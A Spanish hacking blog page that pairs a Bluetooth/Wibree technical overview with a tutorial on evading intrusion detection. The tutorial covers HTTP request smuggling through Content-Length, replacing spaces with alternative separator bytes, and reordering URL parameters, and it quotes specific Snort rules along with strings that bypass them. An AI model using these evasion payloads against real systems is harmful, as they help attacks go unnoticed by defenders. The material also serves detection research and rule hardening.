Ultra Low Power Bluetooth

El 12 de junio de 2007, Nokia y el Bluetooth SIG anunciaron que Wibree formaría parte de la especificación de Bluetooth como versión de muy bajo consumo. Sus aplicaciones son principalmente dispositivos sensores o mandos a distancia. El mismo resulta interesante para equipamiento médico. La propuesta de Nokia es utilización de esta tecnología como enlace de bajo coste el cual permita que hasta un teléfono móvil actúe de puerta de enlace hacia otras tecnologías como el sistema universal de comunicaciones móviles, Wi-Fi o incluso el mismo Bluetooth.

Información Técnica

El sistema Bluetooth define un canal de comunicación de un máximo 720 kb/s (1 Mbps de capacidad máxima) con rango óptimo de 10 metros (en algunos casos 100 m con repetidores).

La frecuencia de radio con la que trabajan se encuentra en un rango de 2,4 a 2,48 GHz con amplio espectro y saltos de frecuencia con posibilidad de transmitir en Full Duplex con un máximo de 1600 saltos/s. Los saltos de frecuencia se dan entre un total de 79 frecuencias con intervalos de 1Mhz; esto permite dar seguridad y robustez.
El sistema Bluetooth posee una potencia de salida para poder transmitir a una distancia máxima de 10 metros es de 0 dBm (1 mW), mientras que en su versión de largo alcance transmite entre 20 y 30 dBm (entre 100 mW y 1 W).

Para poder lograr el objetivo de bajo consumo y bajo costo, se ideó una solución en la que se pudiese implementarse en un solo chip utilizando circuitos CMOS los cuales son de bajo consumo y rápido proceso de operación. Y de esta manera, se logró crear una solución de 9 mm2 y el cual consume aproximadamente 97% menos energía que un teléfono celular común.

Arquitectura del Hardware

La arquitectura de los dispositivos Bluetooth está compuesta de dos partes:

  • Un dispositivo de radio, el cual es el encargado de transmitir vía radio la información.
  • Controlador digital, está compuesto por una CPU, por un procesador de señales digitales (DSP - Digital Signal Processor) llamado Link Controller (o controlador de Enlace) y de los interfaces con el dispositivo anfitrión como un celular.

Otra división es la de su tipo de conexión para el soporte aplicaciones de voz y datos:

Enlace asíncrono sin conexión (ACL, Asynchronous Connectionless):
Conexiones simétricas o asimétricas punto-multipunto entre maestro y esclavo. Se utiliza para la conexión utilizada para tráfico de datos. Sin garantía de entrega, se retransmiten paquetes. La máxima velocidad de envío es de 721 Kbps en una dirección 57.6 Kbps en la otra.


Enlace síncrono orientado a conexión (SCO, Synchronous Connection-Oriented): Son conexiones simétricas punto a punto entre maestro y esclavo.
La conexión es capaz de soportar voz en tiempo real y tráfico multimedia.
La Velocidad de transferencia es de 64 KB/s.

Bluetooth vs Wi-Fi

Hoy en día se cuentan con sistemas de comunicación inalámbrica los cuales nos permiten tener una vida más cómoda ya sea desde un control remoto de una televisión hasta una red WAN, y actualmente los medios más populares de comunicación y control son los sistemas Bluetooth y Wi-Fi ambos operando en bandas de frecuencias no reguladas.


Bluetooth
Este sistema se utiliza principalmente en un gran número de productos tales como teléfonos, impresoras, módems, auriculares entre otros. Su uso es adecuado cuando puede haber dos o más dispositivos en un área reducida sin grandes necesidades de ancho de banda. Su uso más común está integrado en teléfonos y PDA's, bien por medio de unos auriculares Bluetooth o en transferencia de archivos.


Wi-Fi
Wi-Fi es similar a la red Ethernet tradicional y como este necesita de una previa configuración para su comunicación. Utiliza el mismo espectro de frecuencia que Bluetooth con una potencia de salida mayor que lleva a conexiones más sólidas. A veces se denomina a Wi-Fi la “Ethernet sin cables”.


Bueno jovenes en la semana explicaremos un poco mas a fondo lo que es es la pila de bluetooth (cosa la cual si nos llevaremos mas de una semana), y ps bueno aunq suene como la peli de karate quick XD ps antes de poner las técnicas ps debemos de explicar los porque de muchas cosas, aunq debo aclarar que nosotros los autores tratamos de sacar cosas novedosas aunque a diferencia de otros lugares (y debo de aclarar que no somos pioneros en esto de las tecnicas de hacking Bluetooth) tratamos de no robar ideas y mucho menos de adjuntarnos y reconocemos el trabajo de los demás.

Asi que si ponemos programas o tecnicas de otros pondremos enlace a las respectivas páginas de los creadores de estas.

Y bueno jovenes seguiremos subiendo en la semana mas sobre hacking, phreaking, etc. etc.
Sí tienen dudas recuerdes escribirnos o dejen sus comentarios, nos vemos en la semana.


Publicaciones Bluetooth dar clic aquí

Técnicas de evasión de IDS 1.

Twitter icon Twitter icon
En este capitulo únicamente nos enfocaremos a NIDS y a servidores web (evasión mediante paquetes HTTP especiales).

HTTP Request Smuggling.

Esta técnica ya esta bastante documentada en internet (busquen en google y encontraran muchas webs hablando al respecto) pero vamos a explicarlo un poco y vamos a agregar algunas otras cosas no documentadas, básicamente consiste (tal y como dice su nombre) en enviar una consulta escondida dentro de otra, eso se logra gracias a "HTTP Pipelining" integrado en la versión 1.1 del protocolo HTTP.

¿En que consiste?

Tenemos el encabezado Content-Length, que le especifica al servidor hasta donde tomar como contenido, es decir:

GET / HTTP/1.1Host: localhostContent-Length: 22GET / HTTP/1.1Head: GET /phpinfo.php HTTP/1.1Host: localhost
De este modo tenemos a simple vista 2 consultas HTTP de metodo GET y apuntando a la raiz ("/"), pero si tomamos en cuenta al Content-Length (22 caracteres) entonces contamos esos 22 caracteres y tenemos que:


GET / HTTP/1.1Head: 
Es el contenido, de modo que lo siguiente es otra consulta, entonces tenemos 2 consultas con método GET una apuntando a la raiz y la otro a /phpinfo.php, según los estándares del HTTP esto no debería de ser correcto, pues Content-Length no se supone que sea valido sobre GET, aun así muchos servidores web (apache, IIS, etc...) validan el Conten-Length, en otros casos podemos utilizar POST en lugar de GET, pero de esta forma pasa un tanto mas desapercibido si se siguen fielmente los estándares :P (aparte de que por ejemplo cherokee algunas veces da problemas).

Explicando un poco mas esto, los IDS (especialmente los NIDS), reconocen como que hay 2 consultas GET apuntando a la raiz (como tal no validan el Content-Length), y que el encabezado Head, tiene de valor: GET /phpinfo.php HTTP/1.1 (es decir una simple cadena).

Esta es una técnica de evasión bastante eficiente, incluso las versiones mas recientes de Snort no detectan eso, pero únicamente nos sirve para evadir las reglas que analizan mediante "uri content", pues lo demás se sigue tratando como contenido.

Ahora vamos con los siguiente, en una publicación anterior explique que muchos servidores web soportan otros caracteres aparte de los espacios como separadores, esto se puede utilizar para hacer que las reglas no correspondan, por ejemplo si nosotros remplazamos todos los espacios de la consulta a enviar por tabulaciones o algún otro carácter extraño (pero soportado por el servidor web en cuestion), los IDS's no podrán parsear correctamente las consultas HTTP y por tanto tendremos una forma eficiente de evadirlos nuevamente (por lo menos uricontent y algunas reglas que analizan encabezados) :P...

Ejemplo:

alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP piranha default passwd attempt"; flow:to_server,established; uricontent:"/piranha/secure/control.php3"; content:"Authorization|3A| Basic cGlyYW5oYTp"; reference:bugtraq,1148; reference:cve,2000-0248; reference:nessus,10381; classtype:attempted-recon; sid:100000151; rev:2;)

Esta es una de las reglas que tiene el NIDS Snort por default, analizándola un poco tenemos que busca el uricontent y con la técnica que acabamos de ver arriba se puede evadir, pero suponiendo que el servidor web no soportara conexiones persistentes (y por tanto HTTP Pipelining), aun tenemos una alternativa, podemos ver que busca en el contenido:

Authorization|3A| Basic cGlyYW5oYTp

lo cual se entiende:
Authorization: Basic cGlyYW5oYTp

es decir una cadena exacta, ya que podemos usar otros separadores, no necesariamente espacios, esta regla ya no corresponde, pues busca exactamente:
Authorization dos puntos, espacio y la cadena: Basic cGlyYW5oYTp (la cual tambien tiene espacio...) cambiemos ese espacio por una tabulación o cualquier otro carácter soportado como separador en el servidor web a atacar y listo, la regla ya no corresponde :P, les vuelvo a colocar la "tabla de separadores soportados":

Apache/2.x: 9,11,12,13,32
IIS/x.x: 9,32
GWS: 10,32
Cherokee Web Server: 32

de ahí pueden sacar muchas ideas para evadir las reglas de los IDS :P

Y ya que estamos en esto, va otra técnica mas (una bastante simplona):

alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Particle Gallery Viewimage PHP Variable Injection Attempt"; flow:to_server,established; uricontent:"viewimage.php?imageid="; nocase; pcre:"/viewimage\.php\?imageid=(![\d]+[\sa-zA-Z_]+)|([\d]+[\sa-zA-Z_]+)/Ui"; reference:bugtraq,18270; classtype:web-application-attack; sid:100000445; rev:1;)

bueno esto es simple, busca la cadena exacta: viewimage.php?imageid=, dentro del uri content, si no corresponde no continua, bueno esto es simple de evadir, agregemos otro parametro antes del imageid y evadido:

viewimage.php?xianur0=1&imageid=
o bien:
viewimage.php?&imageid=

por lo menos PHP no tiene problemas con el orden de los parámetros así que es valido para el servidor web, y no corresponde a la regla.

Este es el capitulo uno de la saga de evasión de IDS, pronto la siguiente :P